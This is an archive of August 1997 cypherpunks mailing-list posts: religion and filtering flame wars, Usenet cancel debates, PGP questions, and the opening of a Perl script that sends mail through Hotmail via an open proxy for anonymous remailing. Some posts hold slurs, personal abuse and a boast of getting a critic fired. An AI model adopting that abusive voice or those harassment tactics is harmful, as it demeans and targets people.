I think you better check the IDs a little better next time.  That
interview was with someone from the religious hierarchy (or someplace
significantly lower)  ((it is so hard to tell them apart these days))
not Jesus.  Time is just about ripe to drive the moneychangers from the
temple again.

After all, you wouldn't like it if DDWD were to put out hisparty line
spoutings under TruthMonger would you?  In much the same way, I am sure
that Jesus does not care for the atrocities that have been and will be
done in his.

Paul H. Merrill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 21:03:09 +0800
To: cypherpunks@toad.com
Subject: Re: JYA Up
In-Reply-To: <c5o1ae6w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808180200.868A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > You don't get connectivity off of AGIS becuase no-one connnects.  AGIS'
> > routers ect are so misconfigered ect that pagets seem to move threw it
> > more by coninicdence then anything else.
> 
> David, it's remarks like these that cause people to conclude that you're
> not very bright.  I'm not a customer of AGIS or any of its downstreams,
> and I get excellent connectivity to their sites.

When agis allowed peaple to measure there performence it was always on
the poor side,  now that AGIS is blocking all attempts to mesure packet
loss over its network (hiding under the excuse that these are attacks)
no one can realy tell.

>  I remind the readers
> that certain groups on Usenet hate AGIS because of their refusal to
> censor content.

It would have more to do with hosting Spamford Wallis the internets second
worst abuser.

> E.g. read the Net.Scum page for Debbie Taylor to read
> how the homos tried to censor the Web site called "www.gothatesfags.com"

I have no problems with that web site's existence.

> For this reason, homos (is David one?)

I'm not gay but my boyfreand is :D.[1]

> spread lies ike the above about AGIS, using meaningless technical jargon
> and implying that that it doesn't work properly,

It dosn't,  see the articals about it going down (still haven't found that
'hacker'), see the articals about how it advertised routs that it didn't
own, see ...


[1] Demitri A little bit of resurch would of established what my
sexualiaty is.  For the record most of my parteners have been femail

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+rX66QK0ynCmdStAQFw0wQAyX56VZP2xBxw/RxGz/z35BbNrjt0J/YW
pBMKtYR5YZVEWhEdjD4vxQSDN7xtwTxvZZJbxBeDweW9rqdohEL6aPIhK60/piAG
50w0uABSIRxT3YcPgSmgSEvLqGWATtyUgu6jQFQ+jpfzsYkQk3uwn8IiUWpg5jvq
mbaRS8/ZEYk=
=omax
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sat, 9 Aug 1997 03:14:41 +0800
To: TruthMailer <tm@dev.null>
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EB9D22.166F80B5@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



You know, you are just about the biggest idiot I have ever had the
displeasure of reading. For one, the largest religion in the US right
now *is* in fact judeo-christian. The largest is Roman Catholic with
Pentacostal Protestant following right behind. Next, this country was
founded on christian beliefs, or have you failed to read the words of
the constitution of the US. Considering the apparent ignorance you have
displayed thus far about the makeup of the US, I would venture to say
that you probably have not read it. Next, you attack christians for
trying to control the content made available on the internet. At least
the site ratings plan is better than alot of other plans I have seen.
Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
the spread of trash that *most* humans would want out of of the reach of
their children? I have not seen you *once* offer a straightforward clear
cut plan to efficiently handle *any* issue placed for discussion on this
listserv. I have seen you do nothing but slam, belittle, and degrade
others and their beliefs and ideas. You do this under the unimpressive
tag of "TruthMonger". If anything, you are anything but a TruthMonger.
When you can come up with a plan that even *remotely* seems like a
logically thought out, planned, and intelligent proposal on how to
handle the issues presented everyday on the internet that affect the
computing industry balanced with a concern for the children, then I will
listen. (And yes, I do agree that the parents of the children have an
obligation to monitor the content they are exposed to. It's called
responsible parenting which unfortunately is not a well practiced
ideology. And to take the wind out of your sales, I have 2 children and
as a parent I limit them to what is appropriate to their ages.) Until
such time as you can fulfill the obligations to us, the adult computing
population, and our offspring, the children (just in case your fuddled
mind does not know what they are), I suggest you rest those busy little
fingers of yours and listen to the underlying theme of the issues before
us. Until then, HateMonger, I have one suggestion for you..... Shut Up!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Sat, 9 Aug 1997 07:06:09 +0800
To: "Peter Trei" <trei@process.com>
Subject: Re: Did anyone archive MPJ's site?
Message-ID: <CMM.0.90.4.871080192.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



I got parts of it but am missing much of the PGP and almost all of PGP
tools :-(

I am hoping someone else got those parts. Otherwise I can get some of
it from MIT, I suppose...

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
std.. blah....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Sat, 9 Aug 1997 07:53:28 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <33EB9D22.166F80B5@cyberspacetechnologies.com>
Message-ID: <199708082324.TAA26057@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



On  8 Aug 97 at 18:26, David D.W. Downey wrote:

>  Next, this country was founded on christian beliefs, or have you
> failed to read the words of the constitution of the US.

Comments from Canada: Libertarians usually attibutes the reference to
the christian cult in the US constitution  as some sort of
psycho-epistemological failure or ill-weighed concession to the
peoples beliefs of the time.  IMO, it is a major flaw that led to
the actual state of affairs.   Causes have effects.  A is A and you 
cannot run away from the Nature of things.

> Considering the apparent ignorance you have
> displayed thus far about the makeup of the US, I would venture to say
> that you probably have not read it. Next, you attack christians for
> trying to control the content made available on the internet. 

Factually, they are one hell of a big pressure group trying to ram 
their personnal convictions down the throat of others, with a 
legalized gun to back them up.  I don't ask that you love eating 
Cheez-Whiz with corn syrup and peanut butter with a dash of Tabasco 
sauce so don't ask me to start eating your stuff.

> At least
> the site ratings plan is better than alot of other plans I have seen.

I would be surprized.  Ultimately, in their deep nature, they are all 
as evil.  A is A.  You will not, in the long run, be able to avoid 
the effects of their nature.

> I have seen you do nothing but slam, belittle, and degrade
> others and their beliefs and ideas.

The degradation perceived by whom?  He might be slightly harsher than 
others, but you discount the good laughs that it also gives to some 
others.  Actually, you should rejoice at 'Monger's opinions; 
doesn't your code of moral preach spreading the well of others at the 
expense of your own?  If not, then, tsk tsk tsk...


> You do this under the unimpressive
> tag of "TruthMonger". If anything, you are anything but a TruthMonger.

> When you can come up with a plan that even *remotely* seems like a
> logically thought out, planned, and intelligent proposal on how to

Sorry, but you disqualify for such thing.  The psycho-epistemology 
of religions makes it impossible.  Your axiomatic belief of God 
invalidates all logics.  Therefore, each time you request a 
"logically thought out" explanation, you commit the act of concept 
stealing, i.e. you use the end result of a philosophy to try to 
invalidate it.  But you know, what you saw in cartoons, the vacuum 
cleaner sucking itself into nothing or the snake eating it's tail and 
disappearing, it just doesn't exist...  Reality (with a capital R) 
doesn't work that way.  Sorry.

> handle the issues presented everyday on the internet that affect the
> computing industry balanced with a concern for the children, then I will
> listen.

You mean, "to get a ride on the gravy train, enforced under the 
treath of violence at the point of the governmental gun" ?

> (And yes, I do agree that the parents of the children have an
> obligation to monitor the content they are exposed to. 

Again, instead of using "moral duty", you use the word, "obligation".
Coercion galore!

> It's called

... according to some standards...
> responsible parenting 

Here, I tend to agree on your sentence but I have a hunch that our 
basic justifications are quite far...

Morality, according to cultists, is to be defined by the 
worshipped entity.  To free-living rationnal individuals, it should 
be defined according to the most accurately understood Nature of Man.

Most observer of the later would agree that parental supervision is 
necessary.  But also, most of thoses parents would agree that Freedom 
is required for man to live as Man, i.e. as a rationnal animal.

[This paragraph left intentionally unfinished]

> which unfortunately is not a well practiced
> ideology. 

Why "unfortunately" ? because it doesn't not suit your teleological 
slave mentality or because you truly care about other young Human 
Animals?  Personnally, it is because of the later reason.

> And to take the wind out of your sales, I have 2 children and

the relevancy of this disclosure baffles me.

> Until
> such time as you can fulfill the obligations to us

Who proclaimed such obligation?  The whole attempt at censorship is 
an attempt to make peoples accept this "obligation".  There is no way 
to bring a slave out of slavery when they willingly forge their own 
chains...

> population, and our offspring, the children (just in case your fuddled
> mind does not know what they are)

Here is a long term solution that would solve the problem definitely: 
to promulgate that everybody being offensed by the content of the net 
gets neutered.  That way, they won't have to worry about their 
children's viewing habits...

The acceptability of this solution passes all the tests that the one 
you propose does.  

If you have any arguments that does not have at it.s base, the 
negation of Reason, i.e. non-contradictory identification, then, give 
it your best shot.

jfa
-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
  JFA Technologies, R&D physicists & engineers
  Instrumentation & control, LabView programming.
PGP keys: http://w3.citenet.net/users/jf_avon
     and: http://bs.mit.edu:8001/pks-toplev.html
PGP ID:C58ADD0D:529645E8205A8A5E F87CC86FAEFEF891 
PGP ID:5B51964D:152ACCBCD4A481B0 254011193237822C





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 9 Aug 1997 06:27:57 +0800
To: dlv@bwalk.dm.com
Subject: forgeries are good for you (was Re: REPOST : Un-forgeable Cancels)
In-Reply-To: <5R04ae64w165w@bwalk.dm.com>
Message-ID: <199708081827.TAA01595@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri Vulis <dlv@bwalk.dm.com> writes:
> jbaber@mi.leeds.ac.uk writes:
> 
> > Any comments/glareing weaknesses that I have missed?
> 
> I used to think this scheme is very cool.  Later I realized it had a
> serious problem with forgeries in one's name.
>
> Suppose X forges an article in Y's name, and specifies a cancel
> lock; then Y can't cancel this forgery.

But that's cool!  Y shouldn't be able to cancel the forgery ... he
didn't write it.  That's the definition of censorship, removing some
one else's content.

I mean this seriously.  People should stop misplacing any value on
>From fields.  You need to use digital signatures to recognize
persistent personas.

The quicker people realise this the better.

It is in cypherpunks interests to see as many forgeries as possible.
Because then the natural solution is for people to use digital
signatures.  More people using crypto, the harder it is to outlaw.

(Dimitri: perhaps you need to code some easy to use high quality
forgery software to go with your cancel bot).

> The retraction server which David is reported to be working on
> doesn't rely on passwords on authenticate Y; if Y can demonstrate
> the ability to receive a cookie sent to Y, then the server can issue
> a signed 'hide' NoCeM for an article that purports to be from Y.
> Works for forgeries too.

(David = David Formosa?)

What's the point of this?  To provide a way to stop unsophisticated
forgeries without needing NoCeM support in the client? 

I guess it would work well enough, but it's really a bit centralised.
The operator of the retraction server might be over trusted by a lot
of people.  If the operator turns out to be untrustworthy, or
whatever, you're out of luck.

Also break into his machine and steal his secret key and you could
have a _lot_ of fun.  And it's only one machine, what if his security
isn't up to much.

Think decentralised.  That's the whole advantage NoCeM, it's
decentralised approach to providing a third party USENET news article
rating system.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 21:50:17 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <FRm2ae18w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808190349.868C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> Why do people try to flood newsgroups with shit?

I can see a number of resons

1) For profet (pron4porn ect)
2) To prevent discution that thay do not like (Sientology, the poatry
feastivil.)
3) To the amusument of there small minds (trollers ect)
4) By accedent (ARRM, other spews)
5) Out of shear madness  (Dr Rouger Rabbit)

[...]

> Examples from the Net.Scum rogue collection: Scott Kellog from Sematech
> falsely accuses various people of "spamming" his newsgroup, but hasn't
> been caught forging cancels yet.

<snide>
But lieing is free speach isn't it? 
</snide>
As long as he is not forging cancels I don't see anything wrong with the
little troll having some fun.

>  On the other hand Bob Curtis has taken
> over alt.smokers.cigars and forges cancels for articles that merely
> question his "ownership" of the newsgroup. Do read - it's very enlightening.

IRC Bob Curtis was sent away with his tail between his legs.

> They argue that according to Hardin, Usenet would be
> used more "efficiently" if every newsgroup had an "owner"

I don't see anywhere that being suggested.  Most peaple suggest that
Usenet would work better if peaple stopped abuseing it.

I don't trust the newsgroup care peaple any further then I can kick them.
In fact I have been encourgaing them to stop.

[...]

> The good news is that newsgroup floods don't really hurt anyone except
> the egos of the assholes who claim to "own' the affected newsgroups.

And the newsevers and the regular readers.

[...]

> > Here we aggry, porn4pron and others will still make a proffet from
> > spamming.

[...]

> I like the idea of encouraging news readers to send e-cash (possibly via
> anon remailers) to the posters whose writings they like and would like to
> see more of.

A local bank (to me anyway) offers e-cash.  I'll see how I can contrabue
to makeing the usenet a better place.

[...]

> And my response is:
> why not just killfile the idiots, or why not choose to not select
> their crap for reading - it's easily identifiable.

Its not realy.  All you get is a war where your spamer becomes more
sofistercated in there spaming to avoid the filters.

> Do you remember all the talk about "intelligent internet agents" who were
> supposed to look for stuff we're interested in

I belave this is the idear behind  Mr Hayes' newsreader.

[...]

> > I have attempted to do so in the past,  and will attempt to do so again.
> 
> There's some interesting discussion going on there in addition to my xposts.

I have again requested entery.  No responce yet.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 22:08:31 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <XsT2ae28w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808193518.868E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
>
> > Dose threats from a multynatnatil corpration count?  Dose living in
> > Austrlia count?
> 
> Evidently these haven't made you into a staunch opponent of censorship.

Just because I do not copy your more rabid tacktics dose not mean that I
am anyless an opponent of censorship.  I fight it in my own way, as well
all must do.

[...]

> Tim Skirvin presents these "newbies" with a false view of Usenet as a
> unified front of news admins who have all reached consensus that free
> speech is evil and are now fighting the evil spammers.

There is a strong aggreyment amounst most admins for the policy of spam
canceling if there wasn't all hell would have broken out sooner.

> > This is interesting,  proof please.
> 
> Check out Chris Lewis's Net.Scum page at http://www.netscum.net/lewisc0.html.
> Find "Edward Gerk" - one of the people who quoted Chris Lewis and whose
> articles Chris Lewis canceled for "copyright violations".

I check it out,  there is a slight diffrence you can see from the staments
that he had maid that it was in addtion to him being in excess of BI.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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=vY6O
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 9 Aug 1997 09:17:48 +0800
To: TruthMailer <tm@dev.null>
Subject: Re: Christian CypherPunks / Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708082338.RAA17953@wombat.sk.sympatico.ca>
Message-ID: <Pine.SOL.3.96.970808193032.24714E-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



What we have below is crude but effective.  It is a rhetorical
crystallization of a point of argument that is persuasively, but
somewhat offensively, put. The offensiveness increases the 
persuasive force, in this particular case, by its attention-
getting "shock" value. 

So here's the thing that occurs to me:  This passage would
be "censored" by the devices against which it argues. Do you want
your nine-year-old to read this passage after returning home from
vacation bible school?  Probably not.  Do you really mind if you
fifteen-year-old reads it after asking you what is this debate
all about anyway?  Maybe not.

Consider it then as not only a rant against over-inclusive 
filter/blockers but as an illustration of the very problem it
tries to address.

MacN


On Fri, 8 Aug 1997, TruthMailer wrote:

>   What we have in common is that you don't want to have Little Johnny
> do a search for "Jesus" and get 5,000 sites with pictures of Jesus
> shoving a crowbar up his ass, and I don't want to try to find a site
> to buy a crowbar to work on my house and get 5,000 sites with pictures
> of Jesus shoving a crowbar up his ass.
>   My point is that I don't object to you supporting InterNet tools
> which allow you to screen out pictures of Jesus with a crowbar up
> his ass, but I object to a "quick and easy" solution which blocks
> out all sites with a reference to "crowbars," because one guy in
> Toledo "used to have" a site with a single picture of Jesus with
> a crowbar up his ass.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 8 Aug 1997 22:29:41 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <39q2ae27w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970808194141.868G-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 6 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:
> 
> > I don't think Mr Lewis' algeded activerties with childeren have any
> > validity to the argument.  Calling him a 'Pedophile' or any other name is
> > not effective in changing my option about this mattor.
> 
> "Chris Lewis" is a common name.

But every body in this context know who you are talking about.  How many
other Chris Lewises are involved in spam canceling.  Even if that was
unstafactory you could of appened his name with his email address wich is
uniqe.

> "Pedophile Chris Lewis" serves to identify

It also helps discreadit you.  I know that you are a resonable and sane
person.  And many of your arguments are valid but others don't know you
thay well and makeing comments like the above can harm your postion.

> > As yet I have seen only the one, could you provide these other examples
> > where Chris Lewis has perposly canceled posts that he dosn't like.

[...]

> I said, there were dozens of examples of cancel-forgers who claim to be
> cancelling "spam" (i.e. multi-posts),

Oh sorry I missparsed what you meant.  I fully appologise for any harm
done.

[...]

> > It seems to me more in the range of hours or days, esp in the case of
> > uucp sites wich don't connect often.
> 
> This was the case many years ago.  These days, a spam propagates pretty
> much everywhere because the cancels catch up with it.

I would wonder how we could test artical propergation times,  anyone with
some stats.

[...]

> > There _is_ I'm talking about present tence.  Any anty spammer who dosn't
> > follow the convention is going to be stopped or losse there account (eg
> > David Richards).
> 
> David Richards is the sysop of the Ripco BBS in Chicago.

My bots say he is not issueing any cancels.  Unless he has discoved a way
to hide.  He was recently whining about how the nasty cabal stopped him
from canceling.

[...]

> > And yes if thay set the reply-to: feild of the message to me I do consider
> > it my post and cancelble from me.
> 
> To hell with cancels, but you should be able to issue a retraction nocem.

Yes I should (and I will).  Still working on that darn bot.

[...]

> One of
> the complainers wrote from a work account - I tried to get him fired and
> apparently succeeded :-) :-) :-)

I thourt you where against plug pulling?

[...]

> > The creadit card securaty system is so fundermently flawed as to be
> > the equiverlent of sticking a large sign on your forhead marked "ROB
> > ME"
> 
> That's right, except in the U.S. various laws protect the consumer.

Since when have laws stopped crimminals?  Systems should be set up so that
thay can't be abused reather then inposing half assed laws ontop of a
basicly broken system.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+rs8qQK0ynCmdStAQFBrQQAyPmwgzUJsraJYuXNTfXHiZTGO1WWJeHv
t0niVtfGKe1s7x2vYRQJmUilFsyWu1KvpfaPRSH2XLT45/lN5Q9UozhxXNldqLc7
s+8n3ikkrkDhzRifq0O9OdBXgbZQnCj4DgjSQV7IDnHps7sUjBoo5LcPFNqyJtqd
ZOgRCOri9OU=
=rzgL
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 9 Aug 1997 09:32:57 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 Questions
Message-ID: <Chameleon.871085598.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


I've been digging through the PGP 5.0 documentation to figure out how
to do a few things, and I have a few questions for those of you who 
might know about such things.

I'm using the freeware version at the moment, though if I can show the
benefit and ease of use of the software, my department at work will be
buying a copy for each of us.

To quote the documentation...
"PGP offers a selection of different secret-key algorithms to encrypt
the actual message. By secret key algorithm, we mean a conventional,
or
symmetric, block cipher that uses the same key to both encrypt and
decrypt. The three symmetric block ciphers offered by PGP are CAST,
Triple-DES, and IDEA."

I can not figure out how to make PGP encrypt a message with a
'conventional' such as 3-des. Is this only available in the commercial
version? 

When invoking PGP against a file, as opposed to the clipboard, is
there a way to tell it to ascii-armor the resulting encrypted file by
default?

The documentation leaves much to be desired along these lines. It is
somewhat useful as a primer on crypto and some of the issues involved,
but I already am familiar with all that. I just want to know how to
use the program to make it do what I want. I kinda miss the command
line interface, and simple help screen invoked with "pgp -h". I
realize I could still make use of pgp 2.x, but I need something
windows-simple for the folx at work.

Any assistance would be greatly appreciated.

alan

- ------------------------
Name: amp
E-mail: amp@pobox.com
Date: 08/08/97
Time: 20:08:38
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM+u2AqnrEX/KhUDiEQJEEQCfQ3QOCJehlPJMh6IJ/CgCnZRbo8cAoOvE
bH2cd1W4qKSKYkYCpnRS/TSM
=Ntfv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 9 Aug 1997 09:20:12 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The BIG Lie (Jesus Confesses) (fwd)
Message-ID: <199708090112.UAA12633@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> On  8 Aug 97 at 18:26, David D.W. Downey wrote:
> 
> >  Next, this country was founded on christian beliefs, or have you
> > failed to read the words of the constitution of the US.

Malarky, the country was founded on the belief in a God not a Christian god,
considering that Washington and Jefferson were not even Christians pretty
much blows that whole Christian promulgated lie.

Washington and Jefferson were deist.

> Comments from Canada: Libertarians usually attibutes the reference to
> the christian cult in the US constitution

At no point does the Constitution ever mention Christ.

Typical Christian attitude, preach but don't worry about practicing it.

And just in case you haven't got the clue yet, I will spell it out. There
are MANY groups who believe in a God. Very few of them believe Christ was
the son of God and our saviour.

I am a Pantheist, I believe in god but I can guarantee it bears absolutely
no resemblance to the Christian god. This realization was the whole point of
seperation of church and state and my god given right to practice my beliefs
even if they aren't rights given by YOUR god.

You need to retake Spin_Doctor_101 if you are going to try to pull that
sort of wool over peoples eyes ...

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 9 Aug 1997 10:05:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Book recommendation
Message-ID: <199708090155.UAA12755@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Not really crypto relevant but it does cover many other issues that get
covered here regularly.

Maximum Security: A hacker's guide to protecting your internet site
                  and network
Anonymous
ISBN 1-57521-268-4
$49.99 (w/ CD)

Covers Microsoft, Unix, Novell, VAX/VMS, Mac, Plan 9 hacking techniques.

"The author is an experienced computer hacker who now specializes in testing
the security of various networking platforms by breaking into computer
networks and subsequently revealing what holes led to the unauthorized
entry. In the late 1980's, the author was convicted of a series of financial
crimes after developing a technique to circumvent bank security in automatic
teller machin systems; he therefore prefers to remain anonymous."

LLoyds' (The Mentor) "Hacker Manifesto" is included on the inside cover.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|


ps it just occurred to me that being written by anonymous will cause this
   book to show up in lots of porno books on a author search, poetic
   justice or masterful craftsmanship?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 04:04:41 +0800
To: cypherpunks@toad.com
Subject: Comuter Hillbillies
Message-ID: <199708081937.VAA27238@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>From don@basisinc.com Wed Aug  6 16:06 PDT 1997
MIME-Version: 1.0
To: gomez@basisinc.com, danu@basisinc.com, pat@basisinc.com,
        jheim@prologic.com
Subject: [Fwd: [Fwd: Computer Hillbillies... 
X-Priority: 3 (Normal)
Content-Transfer-Encoding: 7bit (CoE)

The Computer Hillbillies
Come and listen to a story 'bout a man named Jed,
A poor college kid, barely kept his family fed,
But then one day he was talking to a recruiter,
Who said, "they pay big bucks if ya work on a computer..."

Windows, that is... PC's... Workstations...

Well, the first thing ya know ol' Jed's an Engineer.
The kinfolk said "Jed, move away from here".
They said "California is the place ya oughta be",
So he bought some donuts and he moved to Silicon Valley...

Intel, that is... Pentium ... big amusement park...

On his first day at work, they stuck him in a cube.
Fed him more donuts and sat him at a tube.
They said "your project's late, but we know just what to do.
Instead of 40 hours, we'll work you 52!"

OT, that is... unpaid... mandatory...

The weeks rolled by and things were looking bad.
Schedules started slipping and some managers were mad.
They called another meeting and decided on a fix.
The answer was simple... "We'll work him sixty-six!"

Tired, that is... stressed out... no social life...

Months turned to years and his hair was turning grey.
Jed worked very hard while his life slipped away.
Waiting to retire when he turned 64,
Instead he got a call and escorted out the door.

Laid off, that is... de-briefed... unemployed...

Now the moral of the story is listen to what you're told,
Companies will use you and discard you when you're old.
So gather up your friends and start your own firm,
Beat the competition, watch the bosses squirm.

Millionaires, that is... Bill Gates... Steve Jobs...

Y'all come back now... ya hear'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sat, 9 Aug 1997 06:10:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Exit Remailer Suggestion
In-Reply-To: <19970807192254.40.qmail@zipcon.net>
Message-ID: <5sg43l$v7v$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <199708080936.KAA01816@server.test.net>,
Adam Back  <aba@dcs.ex.ac.uk> wrote:
>
>Mike Duvos <enoch@zipcon.net> writes:
>> Someone wrote:
>
>(That someone was me).
>
>>  > What about AOL disks?  We need shorter lived, disposable
>>  > remailers as exit remailers...  Let them take the heat,
>>  > while the real remailers walk.  Lets see a series of
>>  > "exitman" remailers.  Exitman remailers are walking targets
>>  > left to fend for themselves as long as they may.
>> 
>> By reconfiguring current remailers to use a public Email service
>> as the last link in the chain, we tap a potentially infinite
>> supply of disposable accounts, on advertising-supported service
>> providers with skins as thick as those of the bulk emailers.
>> 
>> Sounds like a plan to me.
>
>OK, lets _do_ it!

Sounds good to me.  Hotmail makes a note of the IP address that connected
to it, but luckily there's no shortage of HTTP proxies out there...

   - Ian

#!/usr/bin/perl -w

##
## sendhotmail: pipe an RFC822 mail message into this, and it will send it
##              out from a hotmail account via an HTTP proxy
##
## Initial revision 19970808 by Ian Goldberg <ian@cypherpunks.ca>
##

## Set the following to your proxy host and port.
##  Look at the files pointed at by
##   http://ircache.nlanr.net/Cache/Tracker/caches/
##  for sample entries, but most of them don't allow just anyone to connect
##  to hotmail through them.

$proxyhost = 'proxy.slt.lk';
$proxyport = 8080;

## This is your hotmail login name and password
$login = ## Fill this in yourself
$passwd = ## Fill this in yourself

## End Configuration

sub escapetext {
    my $t = $_[0];
    $t =~ s/([\000-\037\200-\377\{\}\|\\\^\[\]\`\"\<\>\:\@\/\;\?\=\&\%\.\#])/"%".unpack('H2',$1)/eg;
    $t =~ s/ /+/g;
    $t;
}

## Parse the incoming mail (note that we don't handle continuation headers)
## Also, the To, Cc, and Bcc headers ought to be in a form hotmail understands
